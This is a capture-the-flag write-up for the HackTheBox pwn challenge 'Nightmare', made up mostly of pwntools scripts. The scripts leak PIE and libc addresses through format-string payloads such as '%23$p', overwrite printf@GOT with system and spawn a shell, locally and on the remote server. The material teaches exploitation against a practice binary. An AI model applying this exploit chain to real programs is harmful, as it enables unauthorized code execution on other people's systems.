← Back to Writeups
HTBN/APwn

Nightmare

XESXOR8/23/202613 min read
#pwn#htb#n/a

Nightmare

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

You seem to be stuck in an endless nightmare. Can you find a way out?

Solution Approach

Core idea: Exploiting FSB. Overwriting Global Offset Table (GOT) with FSB.

Steps

  1. In this challenge we're given a 64 bit binary , stripped, and with NO RELRO.

  2. The exploit here is we need to leak the leak and calculate the piebase and libc_base then.

  3. After decompiled the binary using ghidra, i noticed there's a format string vulnerability for first option menu and second option menu.

This function called when user choose the 1st option menu.

NOTES: The format string vuln found at line 12, the binary seems not specify the output format.

This function called when user choose the 2nd option menu.

NOTES: The format strings vuln found at line 19.

  1. Well seems like the intended approach to leak the piebase and libc_base are from the format strings, because there are no potential bufferoverflow.
  2. I chose to use the first option, this is the script i used to leak the piebase and libc_base.

Fuzzy script

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass

sh.interactive()
  1. Don't forget to set the GDB script for breakpoint at the fprintf so we can use the value leaked for calculating and comparing the piebase and libcbase.
  2. But before use the GDB script, let us run with the normal mode.

At iter 23 and 26 could be the correct one.

  1. To be honest, to find the correct PIE and libc address, usually i just calculate every address i found until it's the same as the libc_base at the binary (i bruteforced it).
  2. Let us calculate the piebase first, now run the script using GDBscript.

Keep continue, until you hit the 23th iter.

Checking the piebase

Calculating piebase

  1. This means we need to minus the leaked pie with 13792.

SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.interactive()
  1. Now calculate the libc_base.

Grab at iter 26 (our previously potential libc address) and get the distance to the libc_system_base.

Calculate with python script

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%26$p')
sh.recvuntil(b'>')
get_leak_libc_system = sh.recvlineS()
leaked_libc_system = int(get_leak_libc_system, 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)

libc_system_binary = leaked_libc_system - 1599312
log.info('This is the calculated_libc_system --> %#0x', libc_system_binary)

sh.interactive()

It's correct

Calculate the libc_base

libc_base = libc_system_binary - 0x4c330 
log.info('This is the libc_base --> %#0x', libc_base)
  1. Since we have the libc_base now we can calculate the binsh address, simply using this formula:

Formula

binsh = libc_base + 0x196031
log.info('This is the binsh strings address --> %#0x', binsh)

FULL SCRIPT (so far..)

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%26$p')
sh.recvuntil(b'>')
get_leak_libc_system = sh.recvlineS()
leaked_libc_system = int(get_leak_libc_system, 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)

libc_system_binary = leaked_libc_system - 1599312
log.info('This is the calculated_libc_system --> %#0x', libc_system_binary)

libc_base = libc_system_binary - 0x4c330 
log.info('This is the libc_base --> %#0x', libc_base)

binsh = libc_base + 0x196031
log.info('This is the binsh strings address --> %#0x', binsh)

sh.interactive()

Checking if correct (using GDB)

  1. Finally the last exploit we should do is to overwrite the Global Offset Table (GOT), why need to overwrite? Because there's no BOF but no RELRO. Means we can spawn a shell by overwrite the GOT.
  2. We need to overwrite a function of the GOT with system.
  3. Based on the decompiled binary, it seems the potential overwrite only for the printf().

At line 19 we can send a strings "/bin/sh" then change the printf() to system() to get the shell.

  1. But the problem is, we might get an error when system() is called at another LOC remembering there are many printf() called.
  2. Anyway let us just try it.
  3. First calculate the printf@got address.

FORMULA

printf_got_addr = pie_base + elf.got['printf']
log.info('This is the printf@got addr --> %#0x', printf_got_addr)

Check it using GDB

  1. Now we want to get the offset (that it needs to write data, then we can just pass arg) to overwriting the function name, in order to get that easily we can use FmtStr from pwntools.
  2. But we need to change a little for our approach to leak the piebase and libc_base.

Modified Script

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

### 1st method to leak the pie_base and libc_system_address

'''
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%26$p')
sh.recvuntil(b'>')
get_leak_libc_system = sh.recvlineS()
leaked_libc_system = int(get_leak_libc_system, 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)
'''

### 2nd method use (since we want to get the offset automatically)

### REMEMBERING PIE ENABLED, actually need to elf.address = pie_base (for best practice)

printf_got_addr = pie_base + elf.got['printf']
log.info('This is the printf@got addr --> %#0x', printf_got_addr)
  1. Lastly we just need to overwrite the function name to libc_system_address and executes it using these LOC:
format_str = FmtStr(execute_fmt=send_payload)
format_str.write(printf_got_addr, libc_system_binary)

format_str.execute_writes() # perform the writes
  1. Then Open option 2 then run the shell by sending sh.

FULL SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
piebase
breakrva 0x138c
continue
'''.format(**locals())

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

### 1st method to leak the pie_base and libc_system_address

'''
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%26$p')
sh.recvuntil(b'>')
get_leak_libc_system = sh.recvlineS()
leaked_libc_system = int(get_leak_libc_system, 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)
'''

### 2nd method use (since we want to get the offset automatically)

### option local

def send_payload(payload): # can determine the correct offset and send our payload auto.
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b'>', payload)
    sh.recvuntil(b'> ')
    return sh.recvline().strip() # cannot using recvlineS() dunno why..

format_str = FmtStr(execute_fmt=send_payload)

leak = int(send_payload('%23$p'), 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

leaked_libc_system = int(send_payload('%26$p'), 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)

libc_system_binary = leaked_libc_system - 1599312
log.info('This is the calculated_libc_system --> %#0x', libc_system_binary)

libc_base = libc_system_binary - 0x4c330 
log.info('This is the libc_base --> %#0x', libc_base)

binsh = libc_base + 0x196031
log.info('This is the binsh strings address --> %#0x', binsh)

### REMEMBERING PIE ENABLED, actually need to elf.address = pie_base (for best practice)

printf_got_addr = pie_base + elf.got['printf']
log.info('This is the printf@got addr --> %#0x', printf_got_addr)

### OVERWRITING "printf" with "system" using FmtStr

format_str = FmtStr(execute_fmt=send_payload)
format_str.write(printf_got_addr, libc_system_binary)

format_str.execute_writes() # perform the writes

sh.sendline(b'2') # go to second menu
sh.sendline(b'sh') # run shell # can't /bin/sh\x00

sh.interactive()

RESULT LOCALLY

  1. Successfully get the shell locally.
  2. Try send it remotely.

REMOTELY

  1. Confused why got out of range.
  2. Took me very long to realize that when i ran the same method to leak the PIE or libc by sending --> %26$p manually, it does not reflect any.

Manually in remote server

  1. Well this is the mistake, hence the intended solution must be by leaking the address using option 2.
  2. Anyway to skip this long walkthrough, just want to tell the approach is the same, the differences just only by the option chosen to leak the address and the libc library used at the remote server.

NOTES: I gave comment for every critical changes.

FINAL SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### for local solve

#gdbscript ='''
#init-pwndbg
#piebase
#breakrva 0x138c
#continue
#'''.format(**locals())

### for remote solve

gdbscript = '''
init-pwndbg
piebase
breakrva 0x1438
continue
'''.format(**locals())

'''
exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()
'''

'''
for i in range(100):
    try:
        #sh = process()
        sh.sendlineafter(b'>', b'1')
        sh.recvuntil(b'>')
        print("Iter {}:".format(i))
        sh.sendline('%{}$p'.format(i))
        sh.recvuntil(b'> ')
        get = sh.recvlineS()
        print(get)
        #sh.close()
    except EOFError:
        pass
'''

'''

### 1st method to leak the pie_base and libc_system_address

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%23$p')
sh.recvuntil(b'>')
get_leak_pie = sh.recvlineS()
leak = int(get_leak_pie, 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', '%26$p')
sh.recvuntil(b'>')
get_leak_libc_system = sh.recvlineS()
leaked_libc_system = int(get_leak_libc_system, 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)
'''

### 2nd method use (since we want to get the offset automatically)

### option local

'''
def send_payload(payload): # can determine the correct offset and send our payload auto.
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b'>', payload)
    sh.recvuntil(b'> ')
    return sh.recvline().strip() # cannot using recvlineS() dunno why..

format_str = FmtStr(execute_fmt=send_payload)

leak = int(send_payload('%23$p'), 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 13792
log.info('This is the actual pie_base --> %#0x', pie_base)

leaked_libc_system = int(send_payload('%26$p'), 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)

libc_system_binary = leaked_libc_system - 1599312
log.info('This is the calculated_libc_system --> %#0x', libc_system_binary)

libc_base = libc_system_binary - 0x4c330 
log.info('This is the libc_base --> %#0x', libc_base)

binsh = libc_base + 0x196031
log.info('This is the binsh strings address --> %#0x', binsh)

### REMEMBERING PIE ENABLED, actually need to elf.address = pie_base (for best practice)

printf_got_addr = pie_base + elf.got['printf']
log.info('This is the printf@got addr --> %#0x', printf_got_addr)

### OVERWRITING "printf" with "system" using FmtStr

#format_str = FmtStr(execute_fmt=send_payload)
format_str.write(printf_got_addr, libc_system_binary)

format_str.execute_writes() # perform the writes

sh.sendline(b'2') # go to second menu
sh.sendline(b'sh') # run shell # can't /bin/sh\x00
'''

### REMOTE EXPLOIT

### NOTES: I did found different behavior of the binary in remote server, hence the exploit kinda different :(

### But the approach is still the same

'''
def send_payload(payload): # can determine the correct offset and send our payload auto.
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b'>', payload)
    sh.recvuntil(b'> ')
    return sh.recvline().strip() # cannot using recvlineS() dunno why..
'''

exe = './nightmare'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

library = './libc6_2.31-0ubuntu9_amd64.so'
libc = context.binary = ELF(library, checksec=False)

### EXTRA --> need to get the offset first

sh = process(exe) # prevent index out of range
option = b'1'

def send_payload(payload): # can determine the correct offset and send our payload auto.
    sh.sendlineafter(b'>', option)
    sh.sendlineafter(b'>', payload)
    sh.recvuntil(b'> ')
    return sh.recvline().strip() # cannot using recvlineS() dunno why..

### get offset

format_str = FmtStr(execute_fmt=send_payload)

sh = start()

option = b'2'
leak = int(send_payload('%9$p'), 16)
log.success('Leaked pie --> %#0x', leak)

pie_base = leak - 5333
log.info('This is the actual pie_base --> %#0x', pie_base)

leaked_libc_system = int(send_payload('%13$p'), 16)
log.success('Leaked libc system address --> %#0x', leaked_libc_system)

### use the leaked address to calculate the libc_base by substract the __libc_start_main_ret from libc.blukat

libc_base = leaked_libc_system - 0x0270b3 #__libc_start_main_ret 
log.success('This is the libc_base --> %#0x', libc_base)

### use the system address from the libc.blukat

#system_addr = libc_base + 0x055410
system_addr = libc_base + libc.sym['system']
log.success('This is the system address --> %#0x', system_addr)

### use the binsh_string from the libc.blukat

bin_sh_strings = libc_base + 0x1b75aa 
log.success('This is the /bin/sh address --> %#0x', bin_sh_strings)

### calculate printf@got

printf_got_addr = pie_base + elf.got['printf']
log.info("printf@got %#0x", elf.got['printf'])
log.success('This is the printf@got address --> %#0x', printf_got_addr)

### ANOTHER EXTRA ---> to prevent menu crash, so we can access the option menu

### This is where the behavior is different from the local binary.

option = b'1' 
sh.send(b'1')

### FINAL ONE

format_str.write(printf_got_addr, system_addr)
format_str.execute_writes() # perform the writes

sh.sendline(b'2')
sh.sendline(b'sh')

sh.interactive()

NOTES: To get the libc library used, i used the leaked libc_system_address and send it over the libc.blukat

  1. Got the flag!

Flag

REDACTED

Lessons Learned

  1. Exploiting FSB.
  2. Overwriting Global Offset Table (GOT) with FSB.